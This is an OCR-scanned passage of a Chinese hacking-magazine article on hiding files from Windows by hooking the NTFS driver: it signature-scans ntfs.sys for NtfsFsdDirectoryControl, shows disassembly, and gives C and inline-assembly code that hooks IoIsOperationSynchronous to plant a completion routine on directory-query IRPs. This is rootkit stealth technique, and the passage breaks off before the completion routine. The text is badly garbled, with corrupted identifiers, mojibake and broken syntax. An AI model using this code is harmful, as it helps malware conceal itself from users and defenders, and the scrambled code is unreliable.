for(i=0;i<sectionnums;i++) { if((ULONG)driverentry>=sectionheader->VirtualAddress && (ULONG)driverentry<=(sectionheader->VirtualAddress+sectionheader->SizeOfRaw Data)) { driverentry=((ULONG)driverentry-sectionheader->VirtualAddress+sectionhe ader->PointerToRawData+(ULONG)lpmemory); } sectionheader++; } //通过特征码搜索NtfsFsdDirectoryControl函数相对于基址的偏移 for(i=(ULONG)driverentry;i<(ULONG) driverentry+1024;i++) { if(*(PW0RD)i=0x46c7 && *(PBYTE) (i+2)==0x68) { return (int)(FsdRoutine=*(PULONG)(i+3)-(ULONG) imagebase); } } return 0; 现在我们得到了 NtfsFsdDirectoryControl函数地址的偏移,然后加上ntfs.sys加载的基地址就可以得到NtfsFsdDirectoryControl在系统中的真实地址,NTFS.SYS在系统的 基址可以通过ZwQuerysystemInformation得到,这里不在多说。 用ida看看NtfsfsdDirectoryControl函数的代码: PAGE:000381D1 call ds:KeEnterCriticalRegion PAGE:000381D7 push 1 PAGE:000381D9 push 1 PAGE:000381DB lea eax, [ebp-4Ch] PAGE:000381DE push eax PAGE:000381DF call sub_ ■10498 PAGE:000381E4 mov esi, eax PAGE:000381E6 mov [ebp-20h], esi PAGE:000381E9 ; START OF FUNCTION CHUNK FOR sub_656Al PAGE:000381E9 PAGE:000381E9 loc_381E9: ; CODE XREF: sub_656Al-30 j PAGE:000381E9 xor ebx, ebx PAGE:000381EB mov [ebp-4], ebx PAGE:000381EE cmp [ebp-lCh], ebx PAGE:000381F1 jnz short loc_3826C PAGE:000381F3 mov [ebp-24h], bl PAGE:000381F6 push dword ptr [ebp+OCh] PAGE:000381F9 call ds:IoIsOperat i onSynchronous PAGE:000381FF test al, al 可以看到 NtfsFsdDirectoryControl 调用了 IoIsOperatiofl^Ahronous,这个函数是个导出函数,声明如下: <^N^ #if (NTDDI_VERSION >= NTDDI_WIN2K) NTKERNELAPI BOOLEAN IoIsOperat i onSynchronous( _in PIRP Irp 其有个pirp参数,hook了这个函数,我们就可以在该irp请求完成前设置irp的完成例程, 在设置11^完成例程时候有个细节_^,当系统完成该^?请求后,调用 Iofcompleterequest,该函数会改变当前irp栈单元的一些值,并设置当前栈单元为上个栈 单元,而在完成例程中^^^要用到该栈单元的原始数据,所以,我们在设置完成例程的 时候要保存当前irp栈单元数据,并且设置完成例程的时候将context域设置为保存该栈单元 数据的内存地hook ioisoperationsynchronous的代码就省略了,参考黑防以前的文章, 和1丽001(其他函数差不多。当调用ioisoperationsynchronous后,会跳到我们的函数myhook, 在myhook中,利用栈回朔检测其调用源是否为Ntfsoperationsynchronous,并且检测majorfuction和minoufunction是否符合要求,具体代码如下: [code] PIO_STACK_LOCATION irpSp; PVOID addressl; PIO_STACK_LOCATION oldcontxt; —asm {//取得其调用源,并检测是否为NtfsFsdDirectoryControl函数 mov eax, [ebp+4]; mov [addressl], eax } //卩9贴^七作&0^是咐£8卩8301作&(«:^€001^01函数的地址 if((ULONG)((ULONG)addressl-(ULONG) pqueryd i rect ory)〈120) irpSp=IoGetCurrentIrpStackLocation(irp); if(irpSp) {//检测11^是否要过滤 if(irpSp->MajorFunction==IRP_MJ_DIRECTORY_CONTROL && irpSp->MinorFunction==IRP_MN_QUERY_DIRECTORY) / i //申请内存保存当前栈单元的数据,并将地址赋予当前栈单元的&的故七域 o1dcontxt=ExAl1ocatePoolWithTag(NonPagedPool, sizeof(10_STACK_L0CATION), ,hack,); RtlCopyMemory (oldcontxt, irpSp, sizeof(I0_STACK_L0CATI0N)); irpSp->Comp 1 et i onRout i ne=MyComp 1 et i onRoutine; / / 设置 完成例程 irpSp->Context=oldcontxt; irpSp->Control=0; irpSp->Control|=SL_INVOKE_ON_CANCEL; irpSp->Control|=SL_INV0KE_0N_ERR0R; } irpSp->Control|=SL_INV0KE_0N_SUCCESS; } / } —asm {/ / 跳回 I o I sOperat ionSynchronous 函数继续执行 mov esp,ebp; mov eax, pioopsyn; add eax, 5; jmp } } eax 在设置完成例程时候,不能用IoSetCompletionRoutine这个DDK定义的宏,该宏设置的 是下层栈单元的完成例程,所以要自己手动赋值设置完成例程。 当系统完成该1即请求,会调用iofcompleterequest函数,该函数会执行我们的完成例程。 接着看看mycompletionroutine完成例程的函数: |